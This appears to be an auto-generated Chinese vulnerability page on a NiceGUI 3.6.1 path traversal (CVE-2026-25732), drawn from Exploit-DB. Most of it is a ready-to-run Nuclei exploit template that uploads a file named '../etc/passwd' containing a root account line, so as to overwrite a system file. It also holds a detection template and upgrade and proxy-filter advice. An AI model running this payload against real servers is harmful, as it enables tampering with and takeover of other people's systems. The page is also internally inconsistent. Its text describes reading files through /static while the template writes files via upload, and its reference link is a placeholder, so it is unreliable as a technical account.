[webapps] NiceGUI 3.6.1 - Path Traversal
CVE-2026-25732
NiceGUI 3.6.1 中因静态文件路径处理不当导致目录遍历漏洞
High · CVSS 7.5📋 漏洞基础信息
| CVE | CVE-2026-25732 |
|---|---|
| 漏洞类型 | 路径遍历 |
| 受影响版本 | NiceGUI 3.6.1 |
| 危害等级 | High · CVSS 7.5 |
| 发布日期 | 2026-04-30 |
| 提交者 | Mohammed Idrees Banyamer |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
在静态文件服务中未对用户提供的路径进行规范化校验,导致可 escape 出 web 根目录访问任意文件。
🎯 攻击场景
攻击者发送形如 /static/../../../etc/passwd 的HTTP请求,利用路径穿越读取服务器本地敏感文件,前置条件为服务端口可被访问,成功标志为读取到目标文件内容。
💥 漏洞影响
攻击者可读取服务器上任意文件,包括配置文件、密钥、数据库凭证等敏感信息,可能导致进一步权限提升或内网渗透。
⚔️ Nuclei Exploit 模板
以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:
id: CVE-2026-25732-exploit
info:
name: NiceGUI 3.6.1 Path Traversal Exploit
author: banyamer
severity: high
description: Write arbitrary file via path traversal in FileUpload.name.
reference:
- https://www.exploit-db.com/exploits/XXXXX
tags: cve,cve2026,path-traversal,file-write
variables:
filename: '../etc/passwd'
payload: 'root:x:0:0:root:/root:/bin/bash'
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="{{filename}}"
Content-Type: application/octet-stream
{{payload}}
------WebKitFormBoundary7MA4YWxkTrZu0gW--
matchers-condition: and
matchers:
- type: status
status:
- 200
- 201
- 204
condition: or
- type: word
words:
- 'NiceGUI'
condition: or
part: body
extractors:
- type: kval
kval:
- filename
internal: true🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2026-25732-detection
info:
name: NiceGUI 3.6.1 Path Traversal Detection
author: banyamer
severity: high
description: Detect NiceGUI version <= 3.6.1 vulnerable to path traversal via file upload.
reference:
- https://www.exploit-db.com/exploits/XXXXX
tags: cve,cve2026,path-traversal,file-write
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
words:
- 'NiceGUI'
condition: or
part: body
- type: word
words:
- 'version'
condition: or
part: body
- type: regex
regex:
- 'NiceGUI\s+v?(\d+\.\d+\.\d+)'
condition: or
part: body
extractors:
- type: regex
name: version
part: body
regex:
- '(\d+\.\d+\.\d+)'
internal: true
stop-at-first-match: true🛡️ 修复建议
升级至NiceGUI 4.0+版本;临时缓解措施为在反向代理层过滤路径中包含../的请求,或禁用静态文件路由。
📎 参考链接
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 05:31 | 来源: Exploit-DB